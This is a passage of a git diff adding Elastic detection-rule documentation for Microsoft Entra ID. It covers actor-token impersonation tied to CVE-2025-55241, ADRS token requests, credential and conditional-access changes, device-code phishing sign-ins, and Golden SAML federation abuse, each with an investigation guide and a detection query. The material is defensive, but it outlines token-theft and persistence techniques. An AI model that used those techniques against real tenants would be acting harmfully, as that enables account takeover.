https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-actor-token-user-impersonation-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-actor-token-user-impersonation-abuse.asciidoc new file mode 100644 index 0000000000..7d54c02059 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-actor-token-user-impersonation-abuse.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-entra-id-actor-token-user-impersonation-abuse]] +=== Entra ID Actor Token User Impersonation Abuse + +Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/obtaining-global-admin-in-every-entra-id-tenant-with-actor-tokens/ +* https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-55241 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Actor Token User Impersonation Abuse* + + +This rule detects when Microsoft services use actor tokens to perform operations in audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) communication. They appear with a mismatch: the service's display name but the impersonated user's UPN. While some operations legitimately use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed attackers to obtain Global Admin privileges across any Entra ID tenant. Note that this vulnerability has been patched by Microsoft as of September 2025. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` field to identify which service principals are exhibiting this behavior. +- Check the `azure.auditlogs.properties.initiated_by.user.displayName` to confirm these are legitimate Microsoft services. +- Analyze the actions performed by these service principals - look for privilege escalations, permission grants, or unusual administrative operations. +- Review the timing and frequency of these events to identify potential attack patterns or automated exploitation. +- Cross-reference with recent administrative changes or service configurations that might explain legitimate use cases. +- Check if any new applications or service principals were registered recently that could be related to this activity. +- Investigate any correlation with other suspicious authentication events or privilege escalation attempts in your tenant. + + +*False positive analysis* + + +- Legitimate Microsoft service migrations or updates may temporarily exhibit this behavior. +- Third-party integrations using Microsoft Graph or other APIs might trigger this pattern during normal operations. +- Automated administrative tools or scripts using service principal authentication could be misconfigured. + + +*Response and remediation* + + +- Immediately review and audit all service principal permissions and recent consent grants in your Entra ID tenant. +- Disable or restrict any suspicious service principals exhibiting this behavior until verified. +- Review and revoke any unnecessary application permissions, especially those with high privileges. +- Enable and review Entra ID audit logs for any permission grants or role assignments made by these service principals. +- Implement Conditional Access policies to restrict service principal authentication from unexpected locations or conditions. +- Enable Entra ID Identity Protection to detect and respond to risky service principal behaviors. +- Review and harden application consent policies to prevent unauthorized service principal registrations. +- Consider implementing privileged identity management (PIM) for service principal role assignments. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.auditlogs-* metadata _id, _version, _index +| where azure.auditlogs.properties.initiated_by.user.displayName in ( + "Office 365 Exchange Online", + "Skype for Business Online", + "Dataverse", + "Office 365 SharePoint Online", + "Microsoft Dynamics ERP" + ) and + not azure.auditlogs.operation_name like "*group*" and + azure.auditlogs.operation_name != "Set directory feature on tenant" + and azure.auditlogs.properties.initiated_by.user.userPrincipalName rlike ".+@[A-Za-z0-9.]+\\.[A-Za-z]{2,}" +| keep + @timestamp, + azure.*, + client.*, + event.*, + source.*, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc new file mode 100644 index 0000000000..6b494f6909 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-entra-id-adrs-token-request-by-microsoft-authentication-broker]] +=== Entra ID ADRS Token Request by Microsoft Authentication Broker + +Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID ADRS Token Request by Microsoft Authentication Broker* + + +Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. + + +*Possible investigation steps* + +- Identify the user principal associated with the request by checking `azure.signinlogs.properties.user_principal_name` or `azure.signinlogs.properties.user_id`. +- Review the `azure.signinlogs.properties.app_id` and `azure.signinlogs.properties.resource_id` to confirm the request is made by the Microsoft Authentication Broker and targeting the Device Registration Service. +- Examine the `azure.signinlogs.properties.authentication_processing_details.Oauth Scope Info` for the presence of `adrs_access`, indicating an attempt to access ADRS. +- Check the `azure.signinlogs.properties.incoming_token_type` to confirm the request is made using a refresh token, which is typical for persistent access scenarios. +- Review the `azure.signinlogs.properties.user_type` to ensure it is a "Member" user, as this behavior is unusual for standard user accounts. +- Review the `source.address` and `source.geo.country_name` to identify the origin of the request. Look for any anomalies or unexpected locations. +- Check the `azure.signinlogs.properties.device_detail.operating_system` and `azure.signinlogs.properties.device_detail.browser` to identify the device and browser used for the request. Look for any unusual or unexpected devices for this user. +- Use the `azure.signinlogs.properties.session_id` to correlate this request with other sign-in events for the same user. Look for any patterns of suspicious activity or multiple requests in a short time frame. +- Correlate with Entra ID audit logs to identify any recent device registrations or changes to the user's device registration status. +- Pivot to primary refresh token (PRTs) usage for the same user and/or session ID to identify any potential abuse or unauthorized access attempts. + + +*False positive analysis* + +- Legitimate applications or services that require access to the Device Registration Service may trigger this rule. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user accounts. +- Users being onboarded or enrolled in new devices may also trigger this rule, especially if they are using the Microsoft Authentication Broker for the first time. + + +*Response and remediation* + +- If the request is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Consider deactivating any newly registered devices associated with the user account until further investigation is complete. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" and + azure.signinlogs.properties.app_id : "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.resource_id : "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" and + azure.signinlogs.category: "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.authentication_processing_details: *adrs_access* and + azure.signinlogs.properties.incoming_token_type: "refreshToken" and + azure.signinlogs.properties.user_type: "Member" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-application-credential-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-application-credential-modified.asciidoc new file mode 100644 index 0000000000..b2654691c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-application-credential-modified.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-entra-id-application-credential-modified]] +=== Entra ID Application Credential Modified + +Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Application Credential Modified* + + +Azure applications use credentials like certificates or secret strings for identity verification during token requests. Adversaries may exploit this by adding unauthorized credentials, enabling persistent access or evading defenses. The detection rule monitors audit logs for successful updates to application credentials, flagging potential misuse by identifying unauthorized credential modifications. + + +*Possible investigation steps* + + +- Review the Azure audit logs to identify the specific application that had its credentials updated, focusing on entries with the operation name "Update application - Certificates and secrets management" and a successful outcome. +- Determine the identity of the user or service principal that performed the credential modification by examining the associated user or principal ID in the audit log entry. +- Investigate the context of the credential modification by checking for any recent changes or unusual activities related to the application, such as modifications to permissions or roles. +- Assess the legitimacy of the new credential by verifying if it aligns with expected operational procedures or if it was authorized by a known and trusted entity. +- Check for any additional suspicious activities in the audit logs around the same timeframe, such as failed login attempts or other modifications to the application, to identify potential indicators of compromise. +- Contact the application owner or relevant stakeholders to confirm whether the credential addition was expected and authorized, and gather any additional context or concerns they might have. + + +*False positive analysis* + + +- Routine credential updates by authorized personnel can trigger alerts. Regularly review and document credential management activities to distinguish between legitimate and suspicious actions. +- Automated processes or scripts that update application credentials as part of maintenance or deployment cycles may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Credential updates during application scaling or migration might be flagged. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring thresholds or exclusions. +- Third-party integrations that require periodic credential updates can be mistaken for unauthorized changes. Maintain an inventory of such integrations and establish baseline behaviors to filter out benign activities. +- Frequent updates by specific service accounts could be part of normal operations. Monitor these accounts separately and consider creating exceptions for known, non-threatening patterns. + + +*Response and remediation* + + +- Immediately revoke the unauthorized credentials by accessing the Azure portal and removing any suspicious certificates or secret strings associated with the affected application. +- Conduct a thorough review of the application's access logs to identify any unauthorized access or actions performed using the compromised credentials. +- Reset and update all legitimate credentials for the affected application to ensure no further unauthorized access can occur. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized credential modification and any potential impact. +- Implement additional monitoring on the affected application to detect any further unauthorized changes or access attempts. +- Review and tighten access controls and permissions for managing application credentials to prevent unauthorized modifications in the future. +- If necessary, escalate the incident to higher-level security management or external cybersecurity experts for further investigation and response. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update application - Certificates and secrets management" and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc new file mode 100644 index 0000000000..b752ab3764 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-entra-id-concurrent-sign-in-with-suspicious-properties]] +=== Entra ID Concurrent Sign-in with Suspicious Properties + +Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Concurrent Sign-in with Suspicious Properties* + + + +*Possible investigation steps* + + +- Review the sign-in logs to assess the context and reputation of the source.ip address. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + + +*Required Azure Entra Sign-In Logs* + +This rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +// Scheduled to run every hour, reviewing events from past hour +| where + @timestamp > now() - 1 hours + and event.dataset == "azure.signinlogs" + and source.ip is not null + and azure.signinlogs.identity is not null + and to_lower(event.outcome) == "success" + +// keep relevant raw fields +| keep + @timestamp, + azure.signinlogs.identity, + source.ip, + azure.signinlogs.properties.authentication_requirement, + azure.signinlogs.properties.app_id, + azure.signinlogs.properties.resource_display_name, + azure.signinlogs.properties.authentication_protocol, + azure.signinlogs.properties.app_display_name + +// case classifications for identity usage +| eval + Esql.azure_signinlogs_properties_authentication_device_code_case = case( + azure.signinlogs.properties.authentication_protocol == "deviceCode" + and azure.signinlogs.properties.authentication_requirement != "multiFactorAuthentication", + azure.signinlogs.identity, + null), + + Esql.azure_signinlogs_auth_visual_studio_case = case( + azure.signinlogs.properties.app_id == "aebc6443-996d-45c2-90f0-388ff96faa56" + and azure.signinlogs.properties.resource_display_name == "Microsoft Graph", + azure.signinlogs.identity, + null), + + Esql.azure_signinlogs_auth_other_case = case( + azure.signinlogs.properties.authentication_protocol != "deviceCode" + and azure.signinlogs.properties.app_id != "aebc6443-996d-45c2-90f0-388ff96faa56", + azure.signinlogs.identity, + null) + +// Aggregate metrics by user identity +| stats + Esql.event_count = count(*), + Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct = count_distinct(Esql.azure_signinlogs_properties_authentication_device_code_case), + Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct = count_distinct(Esql.azure_signinlogs_auth_visual_studio_case), + Esql.azure_signinlogs_properties_auth_other_count_distinct = count_distinct(Esql.azure_signinlogs_auth_other_case), + Esql.azure_signinlogs_properties_source_ip_count_distinct = count_distinct(source.ip), + Esql.azure_signinlogs_properties_source_ip_values = values(source.ip), + Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement) + by azure.signinlogs.identity + +// Detect multiple unique IPs for one user with signs of deviceCode or VSC OAuth usage +| where + Esql.azure_signinlogs_properties_source_ip_count_distinct >= 2 + and ( + Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct > 0 + or Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct > 0 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-conditional-access-policy-cap-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-conditional-access-policy-cap-modified.asciidoc new file mode 100644 index 0000000000..b61678f7f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-conditional-access-policy-cap-modified.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-entra-id-conditional-access-policy-cap-modified]] +=== Entra ID Conditional Access Policy (CAP) Modified + +Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview +* https://www.rezonate.io/blog/microsoft-entra-id-the-complete-guide-to-conditional-access-policies/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigation Guide: Microsoft Entra ID Conditional Access Policy (CAP) Modified* + + +Azure Conditional Access Policies (CAPs) are critical for enforcing secure access requirements such as multi-factor authentication (MFA), restricting specific users or groups, and managing sign-in conditions. Modifying these policies can be a technique for weakening an organization’s defenses and maintaining persistence after initial access. + +This rule detects a successful update to a Conditional Access Policy in Microsoft Entra ID (formerly Azure AD). + + +*Possible Investigation Steps* + + +- **Identify the user who modified the policy:** + - Check the value of `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to determine the identity that made the change. + - Investigate their recent activity to determine if this change was expected or authorized. + +- **Review the modified policy name:** + - Look at `azure.auditlogs.properties.target_resources.*.display_name` to find the name of the affected policy. + - Determine whether this policy is related to critical controls (e.g., requiring MFA for admins). + +- **Analyze the policy change:** + - Compare the `old_value` and `new_value` fields under `azure.auditlogs.properties.target_resources.*.modified_properties.*`. + - Look for security-reducing changes, such as: + - Removing users/groups from enforcement. + - Disabling MFA or risk-based conditions. + - Introducing exclusions that reduce the policy’s coverage. + +- **Correlate with other activity:** + - Pivot on `azure.auditlogs.properties.activity_datetime` to identify if any suspicious sign-ins occurred after the policy was modified. + - Check for related authentication logs, particularly from the same IP address (`azure.auditlogs.properties.initiated_by.user.ipAddress`). + +- **Assess the user's legitimacy:** + - Review the initiator’s Azure role, group memberships, and whether their account was recently elevated or compromised. + - Investigate whether this user has a history of modifying policies or if this is anomalous. + + +*Validation & False Positive Considerations* + + +- **Authorized administrative changes:** Some organizations routinely update CAPs as part of policy tuning or role-based access reviews. +- **Security reviews or automation:** Scripts, CI/CD processes, or third-party compliance tools may programmatically update CAPs. +- **Employee lifecycle events:** Policy changes during employee onboarding/offboarding may include updates to access policies. + +If any of these cases apply and align with the activity's context, consider tuning the rule or adding exceptions for expected patterns. + + +*Response & Remediation* + + +- Revert unauthorized or insecure changes to the Conditional Access Policy immediately. +- Temporarily increase monitoring of CAP modifications and sign-in attempts. +- Lock or reset the credentials of the user account that made the change if compromise is suspected. +- Conduct a broader access review of conditional access policies and privileged user activity. +- Implement stricter change management and alerting around CAP changes. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.auditlogs" + and event.action:"Update conditional access policy" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-domain-federation-configuration-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-domain-federation-configuration-change.asciidoc new file mode 100644 index 0000000000..68fad6064e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-domain-federation-configuration-change.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-entra-id-domain-federation-configuration-change]] +=== Entra ID Domain Federation Configuration Change + +Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/unc2452-merged-into-apt29 +* https://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration +* https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360 +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Privilege 